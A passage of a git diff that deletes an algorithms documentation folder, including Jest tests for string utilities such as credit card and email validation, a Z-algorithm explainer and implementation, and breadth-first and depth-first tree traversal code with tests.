-        const SUT = checkIfPatternExists(text.toLowerCase(), pattern.toLowerCase());
-        expect(SUT).toBe(undefined);
-    });
-    it('expects to find a pattern independent of casing', () => {
-        const text = 'AbCAAAAAAB';
-        const pattern = 'abc';
-        const SUT = checkIfPatternExists(text, pattern);
-        expect(SUT).toBe(undefined);
-    });
-    it('expects to throw an error message when given input is not a string', () => {
-        const text = 123444456;
-        const pattern = 123;
-        expect(() => checkIfPatternExists(text, pattern)).toThrow('Given input is not a string');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/PermutateString.test.js b/docs/content/DS_ALGO/algorithms/string/test/PermutateString.test.js
deleted file mode 100644
index b93967593d..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/PermutateString.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import { permutate } from '../PermutateString';
-describe('Permutate a string', () => {
-    it('expects to throw an Error with an empty string', () => {
-        expect(() => {
-            permutate();
-        }).toThrow('The arg must be a valid, non empty string');
-    });
-    it('expects to permute "no" into [no, on]', () => {
-        expect(['no', 'on']).toEqual(permutate('no'));
-    });
-    it('expects to permute "yes" into [esy, eys, sey, sye, yes, yse]', () => {
-        expect(['esy', 'eys', 'sey', 'sye', 'yes', 'yse']).toEqual(permutate('yes'));
-    });
-    it('expects to permute "good" into [dgoo dogo doog gdoo godo good odgo odog ogdo ogod oodg oogd ]', () => {
-        expect(['dgoo', 'dogo', 'doog', 'gdoo', 'godo', 'good', 'odgo', 'odog', 'ogdo', 'ogod', 'oodg', 'oogd']).toEqual(permutate('good'));
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/ReverseString.test.js b/docs/content/DS_ALGO/algorithms/string/test/ReverseString.test.js
deleted file mode 100644
index bdd37fb178..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/ReverseString.test.js
+++ /dev/null
@@ -1,50 +0,0 @@
-import { ReverseStringIterative, ReverseStringIterativeInplace } from '../ReverseString';
-describe('ReverseStringIterative', () => {
-    it('expects to reverse a simple string', () => {
-        expect(ReverseStringIterative('reverse')).toEqual('esrever');
-        expect(ReverseStringIterative('some')).toEqual('emos');
-        expect(ReverseStringIterative('string')).toEqual('gnirts');
-        expect(ReverseStringIterative('The Algorithms Javascript')).toEqual('tpircsavaJ smhtiroglA ehT');
-    });
-    it('expects to reverse a string with spaces in between', () => {
-        expect(ReverseStringIterative('reverse me')).toEqual('em esrever');
-    });
-    it('expects to reverse a simple string without capitalizing the first letter', () => {
-        expect(ReverseStringIterative('Javascript')).toEqual('tpircsavaJ');
-    });
-    it.each`
-        input
-        ${123456}
-        ${[1, 2, 3, 4, 5, 6]}
-        ${{ test: 'test' }}
-        ${null}
-    `('expects to throw a type error given a value that is $input', ({ input }) => {
-        expect(() => ReverseStringIterative(input)).toThrow('The given value is not a string');
-    });
-    it('expects to return a empty string with an empty string is given', () => {
-        expect(ReverseStringIterative('')).toEqual('');
-    });
-});
-describe('ReverseStringIterativeInplace', () => {
-    it('expects to reverse a simple string', () => {
-        expect(ReverseStringIterativeInplace('reverse')).toEqual('esrever');
-        expect(ReverseStringIterativeInplace('some')).toEqual('emos');
-        expect(ReverseStringIterativeInplace('string')).toEqual('gnirts');
-        expect(ReverseStringIterativeInplace('The Algorithms Javascript')).toEqual('tpircsavaJ smhtiroglA ehT');
-    });
-    it('expects to reverse a simple string without capitalizing the first letter', () => {
-        expect(ReverseStringIterativeInplace('Javascript')).toEqual('tpircsavaJ');
-    });
-    it('expects to return an empty string given an empty string', () => {
-        expect(ReverseStringIterativeInplace('Javascript')).toEqual('tpircsavaJ');
-    });
-    it.each`
-        input
-        ${123456}
-        ${[1, 2, 3, 4, 5, 6]}
-        ${{ test: 'test' }}
-        ${null}
-    `('expects to throw a type error given a value that is $input', ({ input }) => {
-        expect(() => ReverseStringIterativeInplace(input)).toThrow('The given value is not a string');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/ReverseWords.test.js b/docs/content/DS_ALGO/algorithms/string/test/ReverseWords.test.js
deleted file mode 100644
index 864cb84dfa..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/ReverseWords.test.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import { reverseWords } from '../ReverseWords';
-describe('reverseWords', () => {
-    it('expects to reverse words to return a joined word', () => {
-        expect(reverseWords('I Love JS')).toBe('JS Love I');
-        expect(reverseWords('Hello World')).toBe('World Hello');
-        expect(reverseWords('The Algorithms Javascript')).toBe('Javascript Algorithms The');
-    });
-    it.each`
-        input
-        ${123456}
-        ${[1, 2, 3, 4, 5, 6]}
-        ${{ test: 'test' }}
-        ${null}
-    `('expects to throw a type error given a value that is $input', ({ input }) => {
-        expect(() => {
-            reverseWords(input);
-        }).toThrow('The given value is not a string');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/ScrambleStrings.test.js b/docs/content/DS_ALGO/algorithms/string/test/ScrambleStrings.test.js
deleted file mode 100644
index 1572e43ed7..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/ScrambleStrings.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import { isScramble } from '../ScrambleStrings';
-describe('ScrambleStrings', () => {
-    it('expects to return true for same string', () => {
-        expect(isScramble('a', 'a')).toBe(true);
-    });
-    it('expects to return false for non-scrambled strings', () => {
-        expect(isScramble('abcde', 'caebd')).toBe(false);
-    });
-    it('expects to return true for scrambled strings', () => {
-        expect(isScramble('great', 'rgeat')).toBe(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/Upper.test.js b/docs/content/DS_ALGO/algorithms/string/test/Upper.test.js
deleted file mode 100644
index c86902e460..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/Upper.test.js
+++ /dev/null
@@ -1,8 +0,0 @@
-import { upper } from '../Upper';
-describe('Upper', () => {
-    it('return uppercase strings', () => {
-        expect(upper('hello')).toBe('HELLO');
-        expect(upper('WORLD')).toBe('WORLD');
-        expect(upper('hello_WORLD')).toBe('HELLO_WORLD');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/ValidateCreditCard.test.js b/docs/content/DS_ALGO/algorithms/string/test/ValidateCreditCard.test.js
deleted file mode 100644
index 302e4c351b..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/ValidateCreditCard.test.js
+++ /dev/null
@@ -1,48 +0,0 @@
-import { validateCreditCard } from '../ValidateCreditCard';
-describe('Validate credit card number', () => {
-    it('should throw error if card number is boolean', () => {
-        const invalidCC = true;
-        expect(() => validateCreditCard(invalidCC)).toThrow('The given value is not a string');
-    });
-    it('returns true if the credit card number is valid', () => {
-        const validCreditCard = '4111111111111111';
-        const validationResult = validateCreditCard(validCreditCard);
-        expect(validationResult).toBe(true);
-    });
-    it('should throw an error on non-numeric character in given credit card number', () => {
-        const nonNumericCCNumbers = ['123ABCDEF', 'ABCDKDKD', 'ADS232'];
-        nonNumericCCNumbers.forEach((nonNumericCC) =>
-            expect(() => validateCreditCard(nonNumericCC)).toThrow(
-                `${nonNumericCC} is an invalid credit card number because ` + 'it has nonnumerical characters.'
-            )
-        );
-    });
-    it('should throw an error on credit card with invalid length', () => {
-        const ccWithInvalidLength = ['41111', '4111111111111111111111'];
-        ccWithInvalidLength.forEach((invalidCC) =>
-            expect(() => validateCreditCard(invalidCC)).toThrow(`${invalidCC} is an invalid credit card number because ` + 'of its length.')
-        );
-    });
-    it('should throw an error on credit card with invalid start substring', () => {
-        const ccWithInvalidStartSubstring = [
-            '12345678912345',
-            '23456789123456',
-            '789123456789123',
-            '891234567891234',
-            '912345678912345',
-            '31345678912345',
-            '32345678912345',
-            '33345678912345',
-            '38345678912345'
-        ];
-        ccWithInvalidStartSubstring.forEach((invalidCC) =>
-            expect(() => validateCreditCard(invalidCC)).toThrow(`${invalidCC} is an invalid credit card number because ` + 'of its first two digits.')
-        );
-    });
-    it('should throw an error on credit card with luhn check fail', () => {
-        const invalidCCs = ['411111111111111', '371211111111111', '49999999999999'];
-        invalidCCs.forEach((invalidCC) =>
-            expect(() => validateCreditCard(invalidCC)).toThrow(`${invalidCC} is an invalid credit card number because ` + 'it fails the Luhn check.')
-        );
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/ValidateEmail.test.js b/docs/content/DS_ALGO/algorithms/string/test/ValidateEmail.test.js
deleted file mode 100644
index b07c09ba58..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/ValidateEmail.test.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import { validateEmail } from '../ValidateEmail';
-describe('Validation of an Email Address', () => {
-    it('expects to return false', () => {
-        expect(validateEmail('mahfoudh.arous.com')).toEqual(false);
-    });
-    it('expects to return false', () => {
-        expect(validateEmail('mahfoudh.arous@com')).toEqual(false);
-    });
-    it('expects to return true', () => {
-        expect(validateEmail('mahfoudh.arous@gmail.com')).toEqual(true);
-    });
-    it('expects to return true', () => {
-        expect(validateEmail('icristianbaciu@.helsinki.edu')).toEqual(true);
-    });
-    it('expects to throw a type error', () => {
-        expect(() => {
-            validateEmail('');
-        }).toThrow('Email Address String Null or Empty.');
-        expect(() => {
-            validateEmail(null);
-        }).toThrow('Email Address String Null or Empty.');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/test/ValidateUrl.test.js b/docs/content/DS_ALGO/algorithms/string/test/ValidateUrl.test.js
deleted file mode 100644
index d39b414f1f..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/test/ValidateUrl.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import { validateURL } from '../ValidateUrl';
-describe('ValidateUrl', () => {
-    it('expects to return false', () => {
-        expect(validateURL('google')).toEqual(false);
-        expect(validateURL('link: https://www.google.com')).toEqual(false);
-    });
-    it('expects to return true', () => {
-        expect(validateURL('http://www.google.com')).toEqual(true);
-        expect(validateURL('https://www.google.com')).toEqual(true);
-        expect(validateURL('www.google.com')).toEqual(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/z-algorithm/README.md b/docs/content/DS_ALGO/algorithms/string/z-algorithm/README.md
deleted file mode 100644
index 131b9eaf9c..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/z-algorithm/README.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# Z Algorithm
-
-The Z-algorithm finds occurrences of a "word" `W`
-within a main "text string" `T` in linear time `O(|W| + |T|)`.
-
-Given a string `S` of length `n`, the algorithm produces
-an array, `Z` where `Z[i]` represents the longest substring
-starting from `S[i]` which is also a prefix of `S`. Finding
-`Z` for the string obtained by concatenating the word, `W`
-with a nonce character, say `$` followed by the text, `T`,
-helps with pattern matching, for if there is some index `i`
-such that `Z[i]` equals the pattern length, then the pattern
-must be present at that point.
-
-While the `Z` array can be computed with two nested loops in `O(|W| * |T|)` time, the
-following strategy shows how to obtain it in linear time, based
-on the idea that as we iterate over the letters in the string
-(index `i` from `1` to `n - 1`), we maintain an interval `[L, R]`
-which is the interval with maximum `R` such that `1 ≤ L ≤ i ≤ R`
-and `S[L...R]` is a prefix that is also a substring (if no such
-interval exists, just let `L = R = - 1`). For `i = 1`, we can
-simply compute `L` and `R` by comparing `S[0...]` to `S[1...]`.
-
-**Example of Z array**
-
-```
-Index            0   1   2   3   4   5   6   7   8   9  10  11
-Text             a   a   b   c   a   a   b   x   a   a   a   z
-Z values         X   1   0   0   3   1   0   0   2   2   1   0
-```
-
-Other examples
-
-```
-str =  a a a a a a
-Z[] =  x 5 4 3 2 1
-```
-
-```
-str =  a a b a a c d
-Z[] =  x 1 0 2 1 0 0
-```
-
-```
-str =  a b a b a b a b
-Z[] =  x 0 6 0 4 0 2 0
-```
-
-**Example of Z box**
-
-![z-box](https://ivanyu.me/wp-content/uploads/2014/09/zalg1.png)
-
-## Complexity
-
--   **Time:** `O(|W| + |T|)`
--   **Space:** `O(|W|)`
-
-## References
-
--   [GeeksForGeeks](https://www.geeksforgeeks.org/z-algorithm-linear-time-pattern-searching-algorithm/)
--   [YouTube](https://www.youtube.com/watch?v=CpZh4eF8QBw&t=0s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=70)
--   [Z Algorithm by Ivan Yurchenko](https://ivanyu.me/blog/2013/10/15/z-algorithm/)
diff --git a/docs/content/DS_ALGO/algorithms/string/z-algorithm/test/zAlgorithm.test.js b/docs/content/DS_ALGO/algorithms/string/z-algorithm/test/zAlgorithm.test.js
deleted file mode 100644
index 4dbcc90e3d..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/z-algorithm/test/zAlgorithm.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import zAlgorithm from '../zAlgorithm';
-describe('zAlgorithm', () => {
-    it('should find word positions in given text', () => {
-        expect(zAlgorithm('abcbcglx', 'abca')).toEqual([]);
-        expect(zAlgorithm('abca', 'abca')).toEqual([0]);
-        expect(zAlgorithm('abca', 'abcadfd')).toEqual([]);
-        expect(zAlgorithm('abcbcglabcx', 'abc')).toEqual([0, 7]);
-        expect(zAlgorithm('abcbcglx', 'bcgl')).toEqual([3]);
-        expect(zAlgorithm('abcbcglx', 'cglx')).toEqual([4]);
-        expect(zAlgorithm('abcxabcdabxabcdabcdabcy', 'abcdabcy')).toEqual([15]);
-        expect(zAlgorithm('abcxabcdabxabcdabcdabcy', 'abcdabca')).toEqual([]);
-        expect(zAlgorithm('abcxabcdabxaabcdabcabcdabcdabcy', 'abcdabca')).toEqual([12]);
-        expect(zAlgorithm('abcxabcdabxaabaabaaaabcdabcdabcy', 'aabaabaaa')).toEqual([11]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/string/z-algorithm/zAlgorithm.js b/docs/content/DS_ALGO/algorithms/string/z-algorithm/zAlgorithm.js
deleted file mode 100644
index d2edd3fc0f..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/z-algorithm/zAlgorithm.js
+++ /dev/null
@@ -1,106 +0,0 @@
-// The string separator that is being used for "word" and "text" concatenation.
-const SEPARATOR = '$';
-/**
- * @param {string} zString
- * @return {number[]}
- */
-function buildZArray(zString) {
-    // Initiate zArray and fill it with zeros.
-    const zArray = new Array(zString.length).fill(null).map(() => 0);
-    // Z box boundaries.
-    let zBoxLeftIndex = 0;
-    let zBoxRightIndex = 0;
-    // Position of current zBox character that is also a position of
-    // the same character in prefix.
-    // For example:
-    // Z string: ab$xxabxx
-    // Indices:  012345678
-    // Prefix:   ab.......
-    // Z box:    .....ab..
-    // Z box shift for 'a' would be 0 (0-position in prefix and 0-position in Z box)
-    // Z box shift for 'b' would be 1 (1-position in prefix and 1-position in Z box)
-    let zBoxShift = 0;
-    // Go through all characters of the zString.
-    for (let charIndex = 1; charIndex < zString.length; charIndex += 1) {
-        if (charIndex > zBoxRightIndex) {
-            // We're OUTSIDE of Z box. In other words this is a case when we're
-            // starting from Z box of size 1.
-            // In this case let's make current character to be a Z box of length 1.
-            zBoxLeftIndex = charIndex;
-            zBoxRightIndex = charIndex;
-            // Now let's go and check current and the following characters to see if
-            // they are the same as a prefix. By doing this we will also expand our
-            // Z box. For example if starting from current position we will find 3
-            // more characters that are equal to the ones in the prefix we will expand
-            // right Z box boundary by 3.
-            while (zBoxRightIndex < zString.length && zString[zBoxRightIndex - zBoxLeftIndex] === zString[zBoxRightIndex]) {
-                // Expanding Z box right boundary.
-                zBoxRightIndex += 1;
-            }
-            // Now we may calculate how many characters starting from current position
-            // are are the same as the prefix. We may calculate it by difference between
-            // right and left Z box boundaries.
-            zArray[charIndex] = zBoxRightIndex - zBoxLeftIndex;
-            // Move right Z box boundary left by one position just because we've used
-            // [zBoxRightIndex - zBoxLeftIndex] index calculation above.
-            zBoxRightIndex -= 1;
-        } else {
-            // We're INSIDE of Z box.
-            // Calculate corresponding Z box shift. Because we want to copy the values
-            // from zArray that have been calculated before.
-            zBoxShift = charIndex - zBoxLeftIndex;
-            // Check if the value that has been already calculated before
-            // leaves us inside of Z box or it goes beyond the checkbox
-            // right boundary.
-            if (zArray[zBoxShift] < zBoxRightIndex - charIndex + 1) {
-                // If calculated value don't force us to go outside Z box
-                // then we're safe and we may simply use previously calculated value.
-                zArray[charIndex] = zArray[zBoxShift];
-            } else {
-                // In case if previously calculated values forces us to go outside of Z box
-                // we can't safely copy previously calculated zArray value. It is because
-                // we are sure that there is no further prefix matches outside of Z box.
-                // Thus such values must be re-calculated and reduced to certain point.
-                // To do so we need to shift left boundary of Z box to current position.
-                zBoxLeftIndex = charIndex;
-                // And start comparing characters one by one as we normally do for the case
-                // when we are outside of checkbox.
-                while (zBoxRightIndex < zString.length && zString[zBoxRightIndex - zBoxLeftIndex] === zString[zBoxRightIndex]) {
-                    zBoxRightIndex += 1;
-                }
-                zArray[charIndex] = zBoxRightIndex - zBoxLeftIndex;
-                zBoxRightIndex -= 1;
-            }
-        }
-    }
-    // Return generated zArray.
-    return zArray;
-}
-/**
- * @param {string} text
- * @param {string} word
- * @return {number[]}
- */
-export default function zAlgorithm(text, word) {
-    // The list of word's positions in text. Word may be found in the same text
-    // in several different positions. Thus it is an array.
-    const wordPositions = [];
-    // Concatenate word and string. Word will be a prefix to a string.
-    const zString = `${word}${SEPARATOR}${text}`;
-    // Generate Z-array for concatenated string.
-    const zArray = buildZArray(zString);
-    // Based on Z-array properties each cell will tell us the length of the match between
-    // the string prefix and current sub-text. Thus we're may find all positions in zArray
-    // with the number that equals to the length of the word (zString prefix) and based on
-    // that positions we'll be able to calculate word positions in text.
-    for (let charIndex = 1; charIndex < zArray.length; charIndex += 1) {
-        if (zArray[charIndex] === word.length) {
-            // Since we did concatenation to form zString we need to subtract prefix
-            // and separator lengths.
-            const wordPosition = charIndex - word.length - SEPARATOR.length;
-            wordPositions.push(wordPosition);
-        }
-    }
-    // Return the list of word positions.
-    return wordPositions;
-}
diff --git a/docs/content/DS_ALGO/algorithms/tree/breadth-first-search/README.md b/docs/content/DS_ALGO/algorithms/tree/breadth-first-search/README.md
deleted file mode 100644
index cc6cb30b81..0000000000
--- a/docs/content/DS_ALGO/algorithms/tree/breadth-first-search/README.md
+++ /dev/null
@@ -1,39 +0,0 @@
-# Breadth-First Search (BFS)
-
-Breadth-first search (BFS) is an algorithm for traversing
-or searching tree or graph data structures. It starts at
-the tree root (or some arbitrary node of a graph, sometimes
-referred to as a 'search key') and explores the neighbor
-nodes first, before moving to the next level neighbors.
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/5/5d/Breadth-First-Search-Algorithm.gif)
-
-## Pseudocode
-
-```text
-BFS(root)
-  Pre: root is the node of the BST
-  Post: the nodes in the BST have been visited in breadth first order
-  q ← queue
-  while root = ø
-    yield root.value
-    if root.left = ø
-      q.enqueue(root.left)
-    end if
-    if root.right = ø
-      q.enqueue(root.right)
-    end if
-    if !q.isEmpty()
-      root ← q.dequeue()
-    else
-      root ← ø
-    end if
-  end while
-end BFS
-```
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Breadth-first_search)
--   [Tree Traversals (Inorder, Preorder and Postorder)](https://www.geeksforgeeks.org/tree-traversals-inorder-preorder-and-postorder/)
--   [BFS vs DFS](https://www.geeksforgeeks.org/bfs-vs-dfs-binary-tree/)
diff --git a/docs/content/DS_ALGO/algorithms/tree/breadth-first-search/breadthFirstSearch.js b/docs/content/DS_ALGO/algorithms/tree/breadth-first-search/breadthFirstSearch.js
deleted file mode 100644
index 7a773116d2..0000000000
--- a/docs/content/DS_ALGO/algorithms/tree/breadth-first-search/breadthFirstSearch.js
+++ /dev/null
@@ -1,45 +0,0 @@
-import Queue from '../../../data-structures/queue/Queue';
-/**
- * @typedef {Object} Callbacks
- * @property {function(node: BinaryTreeNode, child: BinaryTreeNode): boolean} allowTraversal -
- *   Determines whether BFS should traverse from the node to its child.
- * @property {function(node: BinaryTreeNode)} enterNode - Called when BFS enters the node.
- * @property {function(node: BinaryTreeNode)} leaveNode - Called when BFS leaves the node.
- */
-/**
- * @param {Callbacks} [callbacks]
- * @returns {Callbacks}
- */
-function initCallbacks(callbacks = {}) {
-    const initiatedCallback = callbacks;
-    const stubCallback = () => {};
-    const defaultAllowTraversal = () => true;
-    initiatedCallback.allowTraversal = callbacks.allowTraversal || defaultAllowTraversal;
-    initiatedCallback.enterNode = callbacks.enterNode || stubCallback;
-    initiatedCallback.leaveNode = callbacks.leaveNode || stubCallback;
-    return initiatedCallback;
-}
-/**
- * @param {BinaryTreeNode} rootNode
- * @param {Callbacks} [originalCallbacks]
- */
-export default function breadthFirstSearch(rootNode, originalCallbacks) {
-    const callbacks = initCallbacks(originalCallbacks);
-    const nodeQueue = new Queue();
-    // Do initial queue setup.
-    nodeQueue.enqueue(rootNode);
-    while (!nodeQueue.isEmpty()) {
-        const currentNode = nodeQueue.dequeue();
-        callbacks.enterNode(currentNode);
-        // Add all children to the queue for future traversals.
-        // Traverse left branch.
-        if (currentNode.left && callbacks.allowTraversal(currentNode, currentNode.left)) {
-            nodeQueue.enqueue(currentNode.left);
-        }
-        // Traverse right branch.
-        if (currentNode.right && callbacks.allowTraversal(currentNode, currentNode.right)) {
-            nodeQueue.enqueue(currentNode.right);
-        }
-        callbacks.leaveNode(currentNode);
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/tree/breadth-first-search/test/breadthFirstSearch.test.js b/docs/content/DS_ALGO/algorithms/tree/breadth-first-search/test/breadthFirstSearch.test.js
deleted file mode 100644
index 022c489a23..0000000000
--- a/docs/content/DS_ALGO/algorithms/tree/breadth-first-search/test/breadthFirstSearch.test.js
+++ /dev/null
@@ -1,84 +0,0 @@
-import BinaryTreeNode from '../../../../data-structures/tree/BinaryTreeNode';
-import breadthFirstSearch from '../breadthFirstSearch';
-describe('breadthFirstSearch', () => {
-    it('should perform BFS operation on tree', () => {
-        const nodeA = new BinaryTreeNode('A');
-        const nodeB = new BinaryTreeNode('B');
-        const nodeC = new BinaryTreeNode('C');
-        const nodeD = new BinaryTreeNode('D');
-        const nodeE = new BinaryTreeNode('E');
-        const nodeF = new BinaryTreeNode('F');
-        const nodeG = new BinaryTreeNode('G');
-        nodeA.setLeft(nodeB).setRight(nodeC);
-        nodeB.setLeft(nodeD).setRight(nodeE);
-        nodeC.setLeft(nodeF).setRight(nodeG);
-        // In-order traversing.
-        expect(nodeA.toString()).toBe('D,B,E,A,F,C,G');
-        const enterNodeCallback = jest.fn();
-        const leaveNodeCallback = jest.fn();
-        // Traverse tree without callbacks first to check default ones.
-        breadthFirstSearch(nodeA);
-        // Traverse tree with callbacks.
-        breadthFirstSearch(nodeA, {
-            enterNode: enterNodeCallback,
-            leaveNode: leaveNodeCallback
-        });
-        expect(enterNodeCallback).toHaveBeenCalledTimes(7);
-        expect(leaveNodeCallback).toHaveBeenCalledTimes(7);
-        // Check node entering.
-        expect(enterNodeCallback.mock.calls[0][0].value).toEqual('A');
-        expect(enterNodeCallback.mock.calls[1][0].value).toEqual('B');
-        expect(enterNodeCallback.mock.calls[2][0].value).toEqual('C');
-        expect(enterNodeCallback.mock.calls[3][0].value).toEqual('D');
-        expect(enterNodeCallback.mock.calls[4][0].value).toEqual('E');
-        expect(enterNodeCallback.mock.calls[5][0].value).toEqual('F');
-        expect(enterNodeCallback.mock.calls[6][0].value).toEqual('G');
-        // Check node leaving.
-        expect(leaveNodeCallback.mock.calls[0][0].value).toEqual('A');
-        expect(leaveNodeCallback.mock.calls[1][0].value).toEqual('B');
-        expect(leaveNodeCallback.mock.calls[2][0].value).toEqual('C');
-        expect(leaveNodeCallback.mock.calls[3][0].value).toEqual('D');
-        expect(leaveNodeCallback.mock.calls[4][0].value).toEqual('E');
-        expect(leaveNodeCallback.mock.calls[5][0].value).toEqual('F');
-        expect(leaveNodeCallback.mock.calls[6][0].value).toEqual('G');
-    });
-    it('allow users to redefine node visiting logic', () => {
-        const nodeA = new BinaryTreeNode('A');
-        const nodeB = new BinaryTreeNode('B');
-        const nodeC = new BinaryTreeNode('C');
-        const nodeD = new BinaryTreeNode('D');
-        const nodeE = new BinaryTreeNode('E');
-        const nodeF = new BinaryTreeNode('F');
-        const nodeG = new BinaryTreeNode('G');
-        nodeA.setLeft(nodeB).setRight(nodeC);
-        nodeB.setLeft(nodeD).setRight(nodeE);
-        nodeC.setLeft(nodeF).setRight(nodeG);
-        // In-order traversing.
-        expect(nodeA.toString()).toBe('D,B,E,A,F,C,G');
-        const enterNodeCallback = jest.fn();
-        const leaveNodeCallback = jest.fn();
-        // Traverse tree without callbacks first to check default ones.
-        breadthFirstSearch(nodeA);
-        // Traverse tree with callbacks.
-        breadthFirstSearch(nodeA, {
-            allowTraversal: (node, child) => {
-                // Forbid traversing left half of the tree.
-                return child.value !== 'B';
-            },
-            enterNode: enterNodeCallback,
-            leaveNode: leaveNodeCallback
-        });
-        expect(enterNodeCallback).toHaveBeenCalledTimes(4);
-        expect(leaveNodeCallback).toHaveBeenCalledTimes(4);
-        // Check node entering.
-        expect(enterNodeCallback.mock.calls[0][0].value).toEqual('A');
-        expect(enterNodeCallback.mock.calls[1][0].value).toEqual('C');
-        expect(enterNodeCallback.mock.calls[2][0].value).toEqual('F');
-        expect(enterNodeCallback.mock.calls[3][0].value).toEqual('G');
-        // Check node leaving.
-        expect(leaveNodeCallback.mock.calls[0][0].value).toEqual('A');
-        expect(leaveNodeCallback.mock.calls[1][0].value).toEqual('C');
-        expect(leaveNodeCallback.mock.calls[2][0].value).toEqual('F');
-        expect(leaveNodeCallback.mock.calls[3][0].value).toEqual('G');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/tree/depth-first-search/README.md b/docs/content/DS_ALGO/algorithms/tree/depth-first-search/README.md
deleted file mode 100644
index 155f82492b..0000000000
--- a/docs/content/DS_ALGO/algorithms/tree/depth-first-search/README.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# Depth-First Search (DFS)
-
-Depth-first search (DFS) is an algorithm for traversing or
-searching tree or graph data structures. One starts at
-the root (selecting some arbitrary node as the root in
-the case of a graph) and explores as far as possible
-along each branch before backtracking.
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/7/7f/Depth-First-Search.gif)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Depth-first_search)
--   [Tree Traversals (Inorder, Preorder and Postorder)](https://www.geeksforgeeks.org/tree-traversals-inorder-preorder-and-postorder/)
--   [BFS vs DFS](https://www.geeksforgeeks.org/bfs-vs-dfs-binary-tree/)
diff --git a/docs/content/DS_ALGO/algorithms/tree/depth-first-search/depthFirstSearch.js b/docs/content/DS_ALGO/algorithms/tree/depth-first-search/depthFirstSearch.js
deleted file mode 100644
index acc5e41e22..0000000000
--- a/docs/content/DS_ALGO/algorithms/tree/depth-first-search/depthFirstSearch.js
+++ /dev/null
@@ -1,66 +0,0 @@
-/**
- * @typedef {Object} TraversalCallbacks
- *
- * @property {function(node: BinaryTreeNode, child: BinaryTreeNode): boolean} allowTraversal
- * - Determines whether DFS should traverse from the node to its child.
- *
- * @property {function(node: BinaryTreeNode)} enterNode - Called when DFS enters the node.
- *
- * @property {function(node: BinaryTreeNode)} leaveNode - Called when DFS leaves the node.
- */
-/**
- * Extend missing traversal callbacks with default callbacks.
- *
- * @param {TraversalCallbacks} [callbacks] - The object that contains traversal callbacks.
- * @returns {TraversalCallbacks} - Traversal callbacks extended with defaults callbacks.
- */
-function initCallbacks(callbacks = {}) {
-    // Init empty callbacks object.
-    const initiatedCallbacks = {};
-    // Empty callback that we will use in case if user didn't provide real callback function.
-    const stubCallback = () => {};
-    // By default we will allow traversal of every node
-    // in case if user didn't provide a callback for that.
-    const defaultAllowTraversalCallback = () => true;
-    // Copy original callbacks to our initiatedCallbacks object or use default callbacks instead.
-    initiatedCallbacks.allowTraversal = callbacks.allowTraversal || defaultAllowTraversalCallback;
-    initiatedCallbacks.enterNode = callbacks.enterNode || stubCallback;
-    initiatedCallbacks.leaveNode = callbacks.leaveNode || stubCallback;
-    // Returned processed list of callbacks.
-    return initiatedCallbacks;
-}
-/**
- * Recursive depth-first-search traversal for binary.
- *
- * @param {BinaryTreeNode} node - binary tree node that we will start traversal from.
- * @param {TraversalCallbacks} callbacks - the object that contains traversal callbacks.
- */
-export function depthFirstSearchRecursive(node, callbacks) {
-    // Call the "enterNode" callback to notify that the node is going to be entered.
-    callbacks.enterNode(node);
-    // Traverse left branch only if case if traversal of the left node is allowed.
-    if (node.left && callbacks.allowTraversal(node, node.left)) {
-        depthFirstSearchRecursive(node.left, callbacks);
-    }
-    // Traverse right branch only if case if traversal of the right node is allowed.
-    if (node.right && callbacks.allowTraversal(node, node.right)) {
-        depthFirstSearchRecursive(node.right, callbacks);
-    }
-    // Call the "leaveNode" callback to notify that traversal
-    // of the current node and its children is finished.
-    callbacks.leaveNode(node);
-}
-/**
- * Perform depth-first-search traversal of the rootNode.
- * For every traversal step call "allowTraversal", "enterNode" and "leaveNode" callbacks.
- * See TraversalCallbacks type definition for more details about the shape of callbacks object.
- *
- * @param {BinaryTreeNode} rootNode - The node from which we start traversing.
- * @param {TraversalCallbacks} [callbacks] - Traversal callbacks.
- */
-export default function depthFirstSearch(rootNode, callbacks) {
-    // In case if user didn't provide some callback we need to replace them with default ones.
-    const processedCallbacks = initCallbacks(callbacks);
-    // Now, when we have all necessary callbacks we may proceed to recursive traversal.
-    depthFirstSearchRecursive(rootNode, processedCallbacks);
-}
diff --git a/docs/content/DS_ALGO/algorithms/tree/depth-first-search/test/depthFirstSearch.test.js b/docs/content/DS_ALGO/algorithms/tree/depth-first-search/test/depthFirstSearch.test.js
deleted file mode 100644
index 6d7e66f95a..0000000000
--- a/docs/content/DS_ALGO/algorithms/tree/depth-first-search/test/depthFirstSearch.test.js
+++ /dev/null
@@ -1,84 +0,0 @@
